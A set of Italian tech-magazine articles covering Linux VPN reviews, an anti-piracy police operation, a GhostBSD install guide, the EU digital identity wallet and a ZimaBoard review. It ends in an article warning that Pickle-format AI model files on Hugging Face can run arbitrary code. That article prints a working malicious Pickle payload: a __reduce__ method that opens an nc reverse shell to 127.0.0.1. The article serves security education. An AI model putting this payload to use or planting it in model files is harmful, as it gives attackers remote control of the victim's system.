Articoli
Hacking Android
Ecco le migliori app e i trucchi per hackerare uno smartphone: perché la miglior difesa rimane sempre l’attacco.
Gli smartphone attuali sono praticamente dei computer ambulanti e usarli solo per telefonare, chattare e navigare sul Web è riduttivo. In realtà sono sufficientemente potenti da essere usati al posto di un classico PC per portare avanti degli attacchi o per controllare la propria rete. Allo stesso tempo sempre più spesso hacker informatici stanno prendendo di mira gli utenti Android, riuscendo a superare i sistemi di sicurezza sempre più ostici implementati da Google nel Play Store e nelle app.
Per tutti questi motivi a partire dal numero 224 di HJ abbiamo deciso di dedicare alcune pagine alle app e ai trucchi che consentono di mettere in sicurezza i nostri dispositivi e quelli di chi sta vicino a noi. Le app che permettono di modificare le impostazioni di sistema richiedono i privilegi di root, ma ci sono molte altre operazioni che possono essere effettuate con un qualsiasi smartphone.
In particolare nell’articolo di HJ 224 vedrai
- come trasformare lo smartphone in un tool per il penetration testing (e quindi per l’individiazione delle vulnerabilità della LAN)
- come falsificare la tua posizione
- come modificare il motore di ricerca predefinito in Google Chrome
- come migliorare il livello di privacy in Google Chrome
Per saperne di più non perdere l’appuntamento in edicola e online con Hacker Journal 224.
Articoli
Le migliori VPN per Linux
Sono molte le VPN che offrono compatibilità con varie distribuzioni, attraverso un’interfaccia grafica o da riga di comando. Quale scegliere?
Basta effettuare una breve ricerca online per constatare che il mondo delle VPN è pieno di offerte, che tutte si presentano come imperdibili. Visto, però, che darete i vostri dati ai loro operatori, è importante fare una scelta oculata. Le VPN per Linux, inoltre, variano in termini di funzionalità, affidabilità, facilità d’uso e sicurezza.
Ecco alcune delle migliori compatibili con il nostro sistema operativo preferito.
Proton VPN: Open Source con GUI
Proton VPN è sviluppata dai creatori di ProtonMail, un servizio di posta elettronica criptata. Pone un’enfasi particolare sulla privacy e sulla trasparenza, offrendo un codice sorgente aperto e audit di sicurezza pubblici. È disponibile per computer desktop, smartphone e router. Offre, inoltre, un’opzione gratuita, anche se con alcune limitazioni come velocità ridotte e un numero limitato di server. La versione a pagamento, tuttavia, offre velocità elevate, supporto per Tor e la possibilità di bypassare le censure a Internet in regioni restrittive. Offre un’applicazione ufficiale per Linux che consente di controllare la VPN tramite un’interfaccia grafica intuitiva. Supporta le ultime versioni stabili di Debian, Ubuntu e Fedora che utilizzano l’ambiente desktop GNOME. La combinazione di questa GUI e il codice Open Source, oltre alla possibilità di utilizzo gratuito, fanno di Proton VPN una scelta molto interessante.
NordVPN: prestazioni eccellenti
NordVPN è uno dei servizi più noti e rispettati e si distingue per la sua sicurezza robusta e la vasta rete di server. Su Linux, offre un’interfaccia da riga di comando (CLI) che consente di gestire facilmente le connessioni e configurare le impostazioni. Ci sono anche diversi progetti di terze parti che propongono wrapper grafici per l’interfaccia a riga di comando di NordVPN, come https://github.com/imatefx/nordvpn-gui. Uno dei maggiori punti di forza del servizio è l’implementazione del protocollo NordLynx, basato su WireGuard, che combina velocità elevate e sicurezza. La VPN utilizza una crittografia avanzata AES-256 per proteggere i dati degli utenti e offre funzionalità come il kill switch e la protezione contro le perdite DNS. Anche se il codice del progetto è proprietario, hanno reso Open Source alcuni dei suoi componenti, tra cui l’intera applicazione NordVPN su Linux, Libtelio, una libreria di rete utilizzata nelle applicazioni NordVPN su tutti i sistemi operativi, e Libdrop, una libreria utilizzata per condividere file su Meshnet. Nonostante l’assenza di una GUI su Linux, la CLI ben documentata e facile da usare rende NordVPN una scelta solida per chi cerca sicurezza e prestazioni elevate.
Mullvad: un progetto per la privacy
Mullvad è una delle VPN più rispettate nel campo della privacy. Ha una politica unica che non richiede alcuna informazione personale per la registrazione; potete persino pagare in contanti per mantenere l’anonimato totale. Mullvad supporta sia una CLI sia una GUI su Linux, offrendo una grande flessibilità e usabilità. Il progetto è noto per il suo approccio trasparente alla sicurezza, con codice sorgente aperto e audit regolari. Sebbene Mullvad non abbia la rete di server più ampia, offre una connessione stabile e sicura con supporto per WireGuard. Questo rende il servizio particolarmente attraente per gli utenti che danno priorità alla privacy rispetto ad altre funzionalità come lo streaming o l’accesso a contenuti geo-bloccati. Potete inoltre abbinarla a Mullvad Browser (https://mullvad.net/it/browser) per una navigazione in completo anonimato. Offre anche un’estensione per la barra degli strumenti che, se ci fate clic, controlla la connessione e visualizza alcuni dati utili. Mostra, infatti, la posizione, se state utilizzando Mullvad VPN o meno, il vostro indirizzo IP, il server VPN in uso (se connesso) e il server DNS.
Private Internet Access (PIA): tante opzioni di personalizzazione
Sempre nel mondo Open Source, un’altra ottima soluzione è PIA. Offre un’interfaccia grafica completa per Linux, progettata per essere di facile utilizzo, ed è disponibile per tutte le principali distribuzioni, tra cui Ubuntu, Mint, Arch Linux, Debian, Fedora e molte altre. PIA supporta anche diversi sistemi di init, come systemd, sysvinit e openrc. Offre, inoltre, buone opzioni di personalizzazione: è possibile modificare facilmente le impostazioni DNS e cambiare la crittografia, l’MTU, la porta remota o locale e il metodo di configurazione. Inoltre, ha una funzione avanzata di split-tunnel che consente di personalizzare completamente il traffico che passa attraverso la VPN. Potete facilmente escludere dal tunnel VPN applicazioni specifiche, indirizzi IP o persino programmi di virtualizzazione a livello di sistema operativo, regolando le vostre preferenze nel menu delle impostazioni. Come le altre proposte presentate in queste pagine, mantiene una rigorosa politica di non registrazione dei log, verificata da audit indipendenti.
Surfshark: veloce e con GUI per Ubuntu
Surfshark è un prodotto proprietario, ma è nella fascia di prezzo più bassa ed è molto veloce. Inoltre, vi permette di collegare tutti i dispositivi che volete con un unico account, a differenza di molti concorrenti che limitano il numero di dispositivi a un numero specifico, per esempio 5, 8 o 10. Include, inoltre, la funzione MultiHop, che instrada la connessione attraverso più server per garantire una maggiore sicurezza. Propone anche un sistema di avvisi che, per esempio, vi consente di ricevere notifiche se il vostro indirizzo e-mail finisce nel database online di quelli violati. La VPN offre un’applicazione con interfaccia grafica per Debian 11, Ubuntu 20.04, Mint 20 o versioni successive.
ExpressVPN: ampio supporto
Anche ExpressVPN è una soluzione proprietaria, benché abbia reso Open Source Lightway Core , la sua libreria C multipiattaforma che fornisce i componenti fondamentali di una rete privata virtuale (VPN) ed è la tecnologia che alimenta il suo protocollo VPN Lightway. Questa VPN può essere interessante per gli utenti Linux perché fornisce il supporto per le versioni a 64 e 32 bit di Ubuntu, Debian, Fedora, Mint e Arch ed è disponibile anche per Raspberry Pi OS. Offre ottime velocità e solide funzioni di sicurezza, oltre a essere facile da usare, anche se è più costoso di molti altri servizi.
*illustrazione articolo progettata da Freepik
Articoli
Maxi operazione contro lo streaming illegale
Smantellata una delle più grandi reti in Europa che distribuiva illegalmente film, serie TV e partite di calcio, lasciando oltre 22 milioni di abbonati senza accesso ai contenuti
Una vasta operazione contro lo streaming illegale, denominata “Taken Down“, ha smantellato una delle più grandi organizzazioni criminali transnazionali di pirateria audiovisiva in Europa. L’indagine è partita da una denuncia di Sky Italia e ha rivelato legami con la criminalità organizzata, che usava i proventi per finanziare altre attività illecite.
La rete pirata intercettava e rivendeva contenuti di piattaforme come Sky, Dazn, Mediaset, Amazon Prime, Netflix, Paramount e Disney+, violando i diritti televisivi.
I dati dell’operazione
La maxi operazione, coordinata dalla Procura di Catania e condotta dalla polizia postale con il supporto delle forze di polizia internazionali, ha coinvolto oltre 270 agenti e si è estesa anche ad alcuni Paesi europei, come Regno Unito, Romania, Svezia e Croazia. Sono state eseguite 89 perquisizioni in Italia e 14 all’estero, con 102 persone coinvolte. Nel nostro Paese i controlli effettuati da parte delle forse dell’ordine hanno toccato le seguenti città: Catania, Napoli, Bari, Palermo, Messina, Siracusa, Agrigento, Lecce, Taranto, Foggia, Brindisi, Frosinone, Roma, Latina, Cosenza, Salerno, Avellino, Caserta, Matera, Mantova, Milano, Monza-Brianza, Brescia, Torino, Alessandria, Firenze, Massa Carrara, Siena, Livorno, Pisa, Lucca, Reggio Emilia, Ferrara, Bologna, Rimini, Sud-Sardegna, Treviso, Genova, Chieti, Perugia, Macerata. In Croazia sono state emesse 11 ordinanze di custodia cautelare. Sono stati sequestrati criptovalute per oltre 1,65 milioni di euro e denaro contante per oltre 40 mila euro. Le indagini hanno individuato sedi estere in Romania e Hong Kong, dove sono stati disattivati nove server utilizzati per la diffusione del segnale piratato. L’organizzazione serviva oltre 22 milioni di utenti finali, offrendo illegalmente partite, film e serie TV, e generava profitti milionari.
Le tecniche usate dai pirati
L’inchiesta, durata oltre due anni, ha mostrato una struttura criminale complessa e ben organizzata. Gli indagati utilizzavano tecniche sofisticate per mantenere segreta l’attività, come messaggistica crittografata e documenti falsi. Grazie alla collaborazione internazionale, sono stati bloccati oltre 2.500 canali illegali e server, con un giro d’affari stimato in oltre 250 milioni di euro mensili, causando danni economici alle aziende del settore Pay TV per oltre 10 miliardi di euro l’anno.
I commenti di Sky e DAZN
Su questa maxi operazione, l’AD di Sky Italia ha rilasciato il seguente commento: “Voglio ringraziare la Procura e la Polizia Postale di Catania, Europol e l’Audiovisual Anti-Piracy Alliance per questa straordinaria operazione alla quale siamo orgogliosi di aver collaborato. I risultati raggiunti sono frutto di un grande lavoro sinergico che ha permesso di smantellare un’organizzazione criminale che operava su scala internazionale. Azioni come questa, insieme al contributo sistematico che dà Piracy Shield oscurando in tempo reale i siti pirata, rendono più efficace la lotta a un fenomeno che danneggia l’industria audiovisiva distruggendo migliaia di posti di lavoro”.
Secondo DAZN “Gli oltre 22 milioni di utenti oscurati in Europa che hanno comprato pirateria ci danno in parte l’idea di quanto questo fenomeno sia esteso e dilagante in Italia ma non solo. Oltre ai rischi in cui si incorre, come il furto della propria identità e informazioni bancarie, quanto annunciato oggi dalla Procura di Catania e dalla Polizia delle Comunicazioni in conferenza stampa conferma che chi vende e compra pirateria lascia tracce in rete indelebili; i clienti saranno quindi sanzionati oltre a poter diventare oggetto di azioni da parte dei titolari dei diritti. Siamo contenti che il supporto che ci è stato richiesto e che abbiamo dato, abbia contributo al buon esito della collaborazione”.
Leggi anche: “I migliori siti e app streaming per lo sport”
*illustrazione articolo progettata da Freepik
Articoli
Cos’è e a cosa serve una VPN
Un metodo facile per restare anonimi, proteggersi da hacker e sorveglianza e bypassare le geo-restrizioni e la censura!
Una VPN, o Virtual Private Network, è una tecnologia che consente di stabilire una connessione sicura e privata attraverso una rete pubblica come Internet. In sostanza, crea un “tunnel” criptato tra il vostro dispositivo e un server remoto, proteggendo i dati durante il loro transito e mascherando il vostro indirizzo IP reale. Questo tunnel virtuale impedisce a terzi, come il vostro provider di servizi Internet (ISP) o eventuali attori malevoli, di monitorare o intercettare le vostre comunicazioni. Il funzionamento di una VPN può essere suddiviso in diversi passaggi chiave. Quando vi connettete a essa, il software client VPN sul vostro dispositivo si collega a un server VPN situato in una posizione scelta da voi. Tutto il traffico Internet che parte dal vostro dispositivo viene criptato utilizzando algoritmi di crittografia avanzata e instradato attraverso questo server. Dopo averlo raggiunto, i dati vengono decrittati e inviati alla loro destinazione finale, come un sito Web o un servizio online. Questo processo fa sì che, dal punto di vista del destinatario, il traffico sembri provenire dal server VPN piuttosto che dal vostro dispositivo, mascherando così il vostro indirizzo IP e la vostra posizione reale e proteggendo la vostra identità online.
Origini in ambito aziendale
L’idea di base delle VPN è nata negli anni Novanta, quando Internet iniziava a diffondersi tra aziende e privati. Con l’aumento della connessione globale, si è resa necessaria la protezione dei dati che viaggiavano attraverso reti pubbliche, come Internet, spesso vulnerabili ad attacchi o intercettazioni. Il concetto di VPN è stato ispirato dalle tecnologie di tunneling, che permettevano di creare un “tunnel” sicuro all’interno di una rete pubblica. Questo cifrava i dati, rendendoli illeggibili a chiunque non avesse la chiave di decrittazione, garantendo così la privacy e la sicurezza delle comunicazioni su linee telefoniche o Internet. Un esempio pratico di questa tecnologia era il tunneling IP, che consentiva di trasportare pacchetti IP all’interno di altri protocolli di rete, come l’X.25 o l’ATM, usati nelle reti di telecomunicazione dell’epoca. Queste tecnologie erano principalmente impiegate per garantire la sicurezza delle comunicazioni tra diverse sedi di un’organizzazione senza dover effettivamente costruire una rete fisica proprietaria. Anche le VPN, inizialmente, venivano utilizzate soprattutto dalle grandi aziende per permettere ai loro dipendenti di accedere in modo sicuro alle risorse aziendali da località remote, come quando lavoravano da casa o durante i viaggi. In questo modo, un dipendente poteva collegarsi a Internet da qualsiasi luogo e, attraverso una VPN, accedere alla rete aziendale come se fosse fisicamente presente in ufficio, senza rischiare che i dati sensibili venissero intercettati.
Uno strumento utilissimo per tutti
Dai primi anni 2000, le VPN hanno iniziato a essere utilizzate anche dai privati, spinti dalla crescente consapevolezza dei rischi legati alla sicurezza e alla privacy su Internet. Una delle principali ragioni per cui le VPN sono diventate popolari tra gli utenti domestici è la loro capacità di proteggere i dati personali da potenziali minacce, come hacker, provider di servizi Internet (ISP) curiosi e altre terze parti potenzialmente pericolose. Le VPN utilizzano, infatti, come si è visto, tecniche di crittografia avanzata per cifrare il traffico dati, rendendolo praticamente illeggibile a chiunque tenti di intercettarlo. Questa protezione è particolarmente cruciale quando si utilizza una rete Wi-Fi pubblica, che è spesso vulnerabile ad attacchi di tipo Man-inthe-Middle (MITM), che consentono agli aggressori di intercettare e manipolare le comunicazioni tra due parti senza che queste se ne accorgano.
Più sicurezza, più privacy, più libertà
Oltre alla sicurezza, le VPN offrono significativi vantaggi in termini di privacy. Come abbiamo visto, mascherano l’indirizzo IP dell’utente, sostituendolo con uno appartenente al server VPN stesso, il che aiuta a mantenere l’anonimato online. Questo è particolarmente importante per gli utenti che vogliono evitare di essere tracciati dai siti Web o dagli ISP, i quali possono raccogliere dati sulle attività online per scopi commerciali o di sorveglianza. Le VPN sono anche estremamente utili per accedere a contenuti geograficamente bloccati. Molti servizi online, come le piattaforme di streaming, limitano l’accesso a determinati contenuti in base alla posizione geografica dell’utente. Utilizzando una VPN, è possibile connettersi a un server situato in un altro Paese, facendo sembrare che la connessione provenga da quella regione e sbloccando così i contenuti altrimenti non disponibili. Infine, le VPN svolgono un ruolo cruciale per bypassare la censura imposta in alcuni Paesi con restrizioni severe su Internet. In molte nazioni, l’accesso a determinati siti Web o servizi è, infatti, limitato o completamente bloccato dal governo. Le VPN permettono di aggirare queste restrizioni, fornendo un accesso senza limitazioni a informazioni e risorse globali. Non tutte le nazioni, però, consentono l’accesso alle VPN. In molti Paesi, come Bielorussia, Iraq, Corea del Nord, Oman e Turkmenistan, sono, infatti, illegali. In altri, come Cina, Egitto, India, Iran, Russia, Turchia, Emirati Arabi Uniti e Uganda, sono legali solo quelle approvate dal governo, che però sono spesso monitorate dalle autorità, il che le rende poco utili. Per chi come noi vive in Paesi liberi, però, avere una VPN permette di proteggere la propria privacy online, cifrare i dati sensibili contro possibili attacchi informatici e accedere liberamente a contenuti bloccati o censurati, in modo da poter godere di una navigazione più sicura e senza restrizioni che si sposa perfettamente con la libertà di Linux.
Leggi anche: “Addio alla privacy negli USA”
*illustrazione articolo progettata da Freepik
La Raspberry è molto versatile, ma se cerchiamo un dispositivo per creare un server casalingo e non ci interessa il GPIO, cioè il lato da maker della RP, ci sono anche altre opzioni: una delle migliori è la ZimaBoard 832.
CPU Intel, non ARM
La ZimaBoard è un SBC basato su una CPU Intel Celeron N3450 con 4 core e una frequenza di clock di 1,1-2,2 GHz. La CPU integra la scheda grafica HD Graphics 500 e a bordo dell’SBC troviamo 8 GB di RAM e come disco un eMMC da 32 GB. Su questa unità eMMC il produttore ha preinstallato CasaOS, un sistema basato su Debian 11 a cui si accede tramite un’interfaccia Web davvero molto semplice, nonché bella da vedere. La macchina è comunque compatibile con Linux, Windows, Android, LibreELEC, OpenWRT e pfSense. L’intero corpo in metallo della ZimaBoard agisce da dissipatore passivo, e lo chassis integra tutte le porte che potete leggere nella scheda qui a fianco. Da evidenziare la presenza di un connettore PCIe 2.0 4x che apre ampie possibilità di espansione. Difatti dal sito del produttore possiamo acquistare alcune schede d’espansione per collegare più unità SSD (anche NVMe) o per avere più porte di rete o HDMI.
Ma cosa ci faccio?
In breve… di tutto. La scheda supporta la virtualizzazione e da qui ad arrivare a Docker e container installando Portainer il passo è breve. La presenza di due porte di rete Gigabit ne suggerisce l’uso come firewall, per esempio, o come strumento per bloccare le pubblicità con PiHole. Oppure il poter collegare due unità SSD ci fa pensare a un ottimo sistema di backup per le altre macchine della nostra rete o all’installazione di Nextcloud, così da creare un nostro cloud personale con funzioni di collaborazione. O ancora, la capacità di transcodifica e decodifica video ne implica l’uso come media center installando Plex o Emby. E non mancano neanche le app per la smart home (Home Assistant), per lo scaricamento di file (JDownloader 2 e Transmission), per l’IA (Stable Diffusion)… e altro ancora. Tutte queste funzioni sono attivabili semplicemente installando e configurando la relativa app dall’interfaccia grafica di CasaOS, super semplice, e il tutto considerando che i consumi energetici sono limitati a circa 6W. Per saperne di più guardate questo video.
Specifiche tecniche
CPU: Intel Celeron N3450 con 4 core a 1,1- 2,2 GHz
Memoria: 8 GB
Archiviazione: eMMC da 32 GB
Connettività: 2 Gigabit Ethernet
Connettori: 1 Mini-DisplayPort 1.2 4K@60Hz, 2 USB 3.0, 1 PCIe 2.0 x4, 2 SATA 6 Gbit/s
Consumi: 6W
Leggi anche: “Armadillo Firewall Hardware protezione USB“
Articoli
Le regole per l’identità digitale europea
A che punto siamo con la creazione del portafoglio per l’identità digitale: a cosa serve e quando entrerà in vigore
L’Europa ha deciso: il futuro dei documenti personali è digitale. La trasformazione, che segue quella già in corso negli Stati Uniti, dove non hanno l’equivalente della nostra carta d’identità e da tempo in alcuni Stati è possibile usare la versione digitale della patente di guida.
Nell’ambito europeo, questo compito risulta più complesso, poiché l’obiettivo è più orientato ad adattarsi al cambiamento piuttosto che imporlo. Si tratta di creare regole comuni in modo che l’intera Unione Europea possa beneficiare dello stesso sistema, il quale deve essere anche interoperabile per consentire ai cittadini degli stati membri di viaggiare per turismo e lavoro, nonché di trasferirsi da un Paese all’altro senza dover affrontare cambiamenti tecnologici significativi.
Le regole (digitali) comuni
Quindi, il lavoro che l’Europa sta facendo in questo periodo è ratificare le normative di base che servono a creare l’identità digitale europea, la cosiddetta eID o EUDI wallet.
L’obiettivo è che ciascuno Stato membro, aderendo agli standard condivisi, offra ai suoi cittadini e alle aziende dei wallet (portafogli) digitali, cioè app con dietro un servizio cloud che permetta di collegare le identità digitali nazionali al completo: dalla carta di identità alla patente di guida, dalle qualifiche professionali (come l’iscrizione a un albo o a una determinata mansione) alla carta europea della disabilità.
Queste norme serviranno per l’identificazione, ma anche per semplificare lo scambio di informazioni, limitando quelle visibili alla controparte a ciò che è strettamente necessario.
In rete e per strada
Il portafoglio di identità digitale europea, il cui standard tecnologico è in corso di sviluppo ma che negli obiettivi sarà retro-compatibile con i servizi nazionali (come l’IT-Wallet italiano), permetterà ai cittadini di fare sostanzialmente due cose: disporre di un documento di riconoscimento in formato digitale in tasca, e avere una forma di identità digitale per autenticarsi in Rete.
Inoltre, è un vantaggio del mondo digitale: non solo il portafoglio dell’identità digitale europea permetterà di identificarsi e accedere ai servizi pubblici e privati, ma anche di avere un punto di vista unico su tutte le transazioni fatte dal titolare, sia online che offline. In questo modo, consultando un’app, ogni cittadino potrà vedere quali pagamenti ha fatto o deve fare, in quali transazioni ha partecipato, chi ha avuto accesso ai suoi dati, quando e quali. Ciò aumenterà la protezione dei dati e della privacy perché consentirà di segnalare subito qualsiasi violazione. Inoltre, il wallet funzionerà anche da firma elettronica per autenticare atti e documenti in formato digitale, anche tra privati.
Manca ormai poco
I tempi per gli standard dell’Unione Europea, sono veloci. Da qui al 2026 la normativa prevede che gli Stati membri dovranno fornire i wallet elettronici sulla base dello standard stabilito dalle normative comuni, e accettare i portafogli virtuali dei cittadini di altri Stati.
Inoltre, per evitare discriminazioni, l’adesione al wallet europeo sarà facoltativa, mentre l’emissione, l’uso e la revoca saranno sempre gratuiti per tutte le persone fisiche. Come se non bastasse, il software sarà prevalentemente open source. In questo modo, si pensa a Bruxelles, la trasformazione digitale europea sarà socialmente sostenibile e condivisa da tutti.
Articoli
Disponibile GhostBSD 24.07.3
Un sistema operativo desktop user-friendly basato su FreeBSD con molte novità. Vediamole assieme.
La missione dichiarata dei creatori di GhostBSD è quella di realizzare un sistema operativo semplice ed elegante, che possa soddisfare tutte le vostre esigenze informatiche. Per raggiungere questo obiettivo hanno deciso di affidarsi al solido codice FreeBSD e all’interfaccia utente GTK. Il risultato finale è più che mai positivo e, come vedrete, imparare a orientarsi risulterà molto facile.
Novità di questa versione
La stragrande maggioranza delle novità di un sistema operativo appena rilasciato si trova sotto il cosiddetto cofano e GhostBSD non fa eccezione. Ciò può non dare immediatamente all’utente un senso di progresso, tuttavia la maggiore stabilità che si ottiene viene comunque percepita. Nel caso di GhostBSD, può essere considerata un vero cambio di rotta l’implementazione dei pacchetti PkgBSD di FreeBSD. Inoltre sono stati apportati miglioramenti a NetworkMGR, il gestore di rete basato su Python. Sul fronte della sicurezza, che non va mai sottovalutata nella scelta di un sistema operativo, sono stati introdotti in OpenSSH aggiornamenti che risolvono delle vulnerabilità note. Naturalmente queste sono solo le novità principali, tuttavia un notevole lavoro è stato fatto anche per aggiornare tutto il software messo a disposizione degli utenti fin dal momento dell’installazione.
Panoramica di GhostBSD
La Scrivania del sistema operativo si presenta con tre icone. Computer è quella che fa accedere all’intero contenuto del disco rigido e Home di… visualizza la vostra cartella personale, sotto la quale c’è il classico Cestino. In basso c’è il Pannello nel quale potrete aggiungere i lanciatori delle applicazioni che usate più spesso. Sulla sua sinistra c’è il pulsante che nasconde contemporaneamente tutte le finestre aperte per visualizzare la Scrivania. Sulla destra ci sono i selettori degli Spazi di lavoro. Il Pannello superiore è invece molto più ricco. A destra infatti ci sono i controlli del volume, della connessione di rete, del calendario e dell’orologio, mentre a sinistra ci sono i tre menu del sistema operativo: Applicazioni, Risorse e Sistema. Nel primo troverete sei menu tematici, come Audio e video, che contengono programmi come Rhythmbox e Firefox. Nel secondo ci sono i collegamenti per accedere alle cartelle principali o alla gestione della rete. Nel terzo, oltre ai classici comandi di riavvio, spegnimento e cambio di utente, ci sono alcuni menu molto utili. Preferenze contiene tutto ciò che vi serve per personalizzare il sistema operativo. Centro di controllo è uno strumento per gestire e modificare in modo immediato e molto comodo tutti gli aspetti di GhostBSD. In Amministrazione, invece, avrete a disposizione l’utilità per fare i backup, le Impostazioni di stampa, ma soprattutto il lanciatore per controllare il rilascio di aggiornamenti e quello per avviare la Software Station. Qui troverete centinaia di applicazioni gratuite, elencate per gruppi tematici, che potrete installare in GhostBSD. Il sistema operativo può essere scaricato da qui.
Avviare la configurazione
Quando vedete il GRUB con le varie opzioni disponibili, premete Invio o aspettate che la procedura si avvii automaticamente dopo alcuni secondi. Una volta caricata la versione Live del sistema operativo, per installarla sul vostro disco rigido, fate un doppio clic sull’icona Install GhostBSD.
Lingua e tastiera
Nella prima schermata, scorrete l’elenco delle lingue nel pannello a sinistra e selezionate Italiano, quindi fate clic su Next. In Keyboard Setup, a sinistra dovete selezionare Italian mentre nell’elenco a destra dovete indicare il modello della vostra tastiera. Se non lo conoscete, sceglietene uno Generic.
Fuso orario e tipo di installazione
Fate clic su Next per visualizzare la schermata Time Zone Selection. A sinistra selezionate Europe e poi scorrete l’elenco a destra per trovare Rome. Scegliete questa opzione e poi premete su Next. In Installation Type, lasciate selezionato Full disk configuration e fate clic su Next.
Disco rigido e utente
Nella schermata successiva, scegliete il disco rigido su cui volete installare il sistema operativo e fate clic su Next. In Boot Option, lasciate selezionata l’opzione predefinita e premete su Next. In User Admin Setup, compilate il primo campo con il vostro nome, poi il terzo e il quarto con la password.
Installazione e riavvio
Fate clic su Install per avviare l’installazione vera e propria di GhostBSD. Al termine, premete su Restart nella finestra che appare. Ricordate di rimuovere il supporto con il file ISO per non ricaricare la versione Live del sistema operativo, così accederete direttamente a quella appena installata.
Primo avvio
Per prima cosa dovete digitare la vostra password per accedere a GhostBSD, dopodiché viene visualizzato il desktop. In alto, fate clic sul menu Sistema e in Amministrazione premete su Update Station per cercare eventuali aggiornamenti disponibili, che è utile installare.
Leggi anche: “NewsRansomware Hive crittografa i sistemi Linux e FreeBSD“
Articoli
Cervelli biologici sotto sale
Se fino a qualche anno fa tutti dovevano mettere le mani su una blockchain, ormai la nuova novità è l’intelligenza artificiale, in particolare i modelli generativi. In realtà la tecnologia non è così nuova: l’intelligenza artificiale esiste, sostanzialmente, da quando esistono i computer. Persino le reti neurali generative non sono una cosa particolarmente nuova. Il motivo per cui hanno avuto un improvviso successo è che sono finalmente diventate abbastanza efficienti da poterci fare davvero qualcosa. Il problema di simulare un cervello biologico è sempre stato l’enorme numero di operazioni da svolgere, soprattutto per l’allenamento della rete neurale, e procedendo sequenzialmente come fa una CPU ci vuole troppo tempo. Ma, da alcuni anni, le GPU hanno raggiunto un grado di sviluppo per cui ogni volta che ne viene rilasciata una nuova generazione (ogni 2 anni, circa) riesce a eseguire almeno 20 o 30 volte il numero di operazioni parallele di quella precedente. Questo permette oggi l’allenamento di reti neurali con decine di miliardi di neuroni in un tempo ragionevolmente breve (misurabile in ore, che varia a seconda dei casi), invece di impiegare anni, anche usando delle schede grafiche “consumer”. Naturalmente si tratta pur sempre di oggetti costosi, da alcune migliaia di euro, ma è un investimento tutto sommato abbordabile. Soprattutto per le aziende, che non vedono l’ora di appiccicare il bollino “made with AI” ai loro prodotti.
C’è in realtà un’altra cosa che, soprattutto nell’ultimo anno, ha dato un forte impulso proprio ai modelli generativi, cioè i modelli di rete neurale allenati per generare dei contenuti (immagini, musica, e testi). E questa cosa, come spesso capita, è la filosofia open source. Le principali aziende che hanno investito in questa tecnologia hanno, infatti, capito che il modo migliore per continuare a innovare è invogliare sviluppatori e appassionati da tutto il mondo a collaborare con nuove idee. È in questa logica che una piattaforma come HuggingFace ha trovato il proprio successo: sulla sua community è possibile pubblicare i propri modelli di rete neurale, provarli, e scaricare quelli di altri utenti. Questo permette a chiunque di non dover partire da capo, ma di prendere un modello preesistente e poi allenarlo con i propri dati, per adattarlo alle proprie necessità.
Naturalmente, alla fine si tratta in buona parte di un grosso “repository”, dal quale scaricare modelli per l’IA, un po’ come GitHub è un grosso contenitore in cui chiunque può caricare qualsiasi cosa. Sta all’utente assicurarsi di scaricare solo software fidato, invece di installare sul proprio sistema il primo malware che capita. E questo vale anche per i modelli IA.
Tanti numeri in fila per uno
È molto importante capire che, semplificando un po’, alla fine un “modello” di IA è una collezione di “pesi”, cioè una sfilza di numeri che stabilisce come siano collegati tra loro i neuroni della rete. Cambiando i pesi, la rete neurale si comporta in modo diverso. È meno prevedibile del cambiare una riga di codice in un programma tradizionale ma, alla fine dei conti, non è altro che un algoritmo che esegue operazioni sulla CPU (o sulla GPU, ma l’inferenza funziona bene anche su CPU). Essendo molto complesso e poco prevedibile, è improbabile (seppure non impossibile), che qualcuno possa realizzare un malware cambiando a mano i pesi di un modello. Almeno al giorno d’oggi.
Ma non è tutto qui: c’è un dettaglio importante del meccanismo di memorizzazione e condivisione dei modelli per Python, il linguaggio di programmazione più diffuso per l’intelligenza artificiale. Un dettaglio che può offrire a un malintenzionato la possibilità di eseguire direttamente comandi sul sistema su cui viene caricato il modello, fino a prenderne il controllo remoto. Hugging Face supporta i principali motori per AI basati su Python, in particolare TensorFlow e PyTorch. I modelli caricati su HF sono degli archivi che contengono diversi file. Uno di questi è il config.json, che contiene le informazioni necessarie per configurare il motore (per esempio PyTorch) con la corretta struttura prevista della rete neurale che si vuole creare. Un altro file importante è il modello vero e proprio, il set dei pesi della rete neurale, che viene memorizzato nel formato Pickle.
Pickle è un “serializzatore” per oggetti Python. Il modello, infatti, non è altro che un array multidimensionale, e per scriverlo su un file bisogna mettere in serie tutti i vari numeri. Sostanzialmente, un po’ come la prospettiva è uno strumento per rappresentare su un foglio degli oggetti tridimensionali. Pickle è un formato binario piuttosto flessibile, si possono serializzare non solo oggetti “statici” come gli array, ma anche intere funzioni: all’interno del file vengono infatti scritte delle istruzioni in una sorta di bytecode, che è molto più efficiente per il caricamento nella RAM rispetto a leggere da un file JSON oppure all’interpretazione di codice Python. Per esempio, un semplice array monodimensionale si può serializzare così:
pickled = pickle.dumps([‘pickle’, ‘me’, 1, 2, 3])
E il bytecode Pickle risultante è questo:
0: \x80 PROTO 4
2: \x95 FRAME 25
11: ] EMPTY_LIST
12: \x94 MEMOIZE (as 0)
13: ( MARK
14: \x8c SHORT_BINUNICODE ‘pickle’
22: \x94 MEMOIZE (as 1)
23: \x8c SHORT_BINUNICODE ‘me’
27: \x94 MEMOIZE (as 2)
28: K BININT1 1
30: K BININT1 2
32: K BININT1 3
34: e APPENDS (MARK at 13)
35: . STOP
Per un array così semplice sembra uno spreco, ma in realtà per oggetti molto più grandi (i modelli AI pesano spesso molti GigaByte) questo meccanismo rende molto più efficiente il caricamento. Questo però significa che in un file Pickle è possibile inserire qualunque tipo di istruzione, eventualmente anche codice malevolo. Questa non è di per sé una vulnerabilità, è solo una caratteristica di questo formato. La vulnerabilità sta nel comportamento degli utenti: bisogna capire che Pickle è un formato binario, difficile da “disassemblare”, e quindi i modelli per AI devono essere trattati come delle “blackbox”. Cioè, devono essere considerati come sempre potenzialmente pericolosi, e bisogna scaricarli solo da fonti sicure, esattamente come si farebbe per un programma binario. Bisogna, insomma, sempre ricordare che si sta eseguendo un software sul proprio sistema, quindi è necessario essere sicuri che questo non faccia nulla di malevolo. Infatti, inserire degli shellcode in un file Pickle è estremamente semplice:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = (‘rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ‘
‘/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f’)
return os.system, (cmd,)
if __name__ == ‘__main__’:
pickled = pickle.dumps(RCE())
Che poi viene tradotto nel file pkl più o meno in questo modo:
0: \x80 PROTO 4
[…]
376: R REDUCE
377: q BINPUT 37
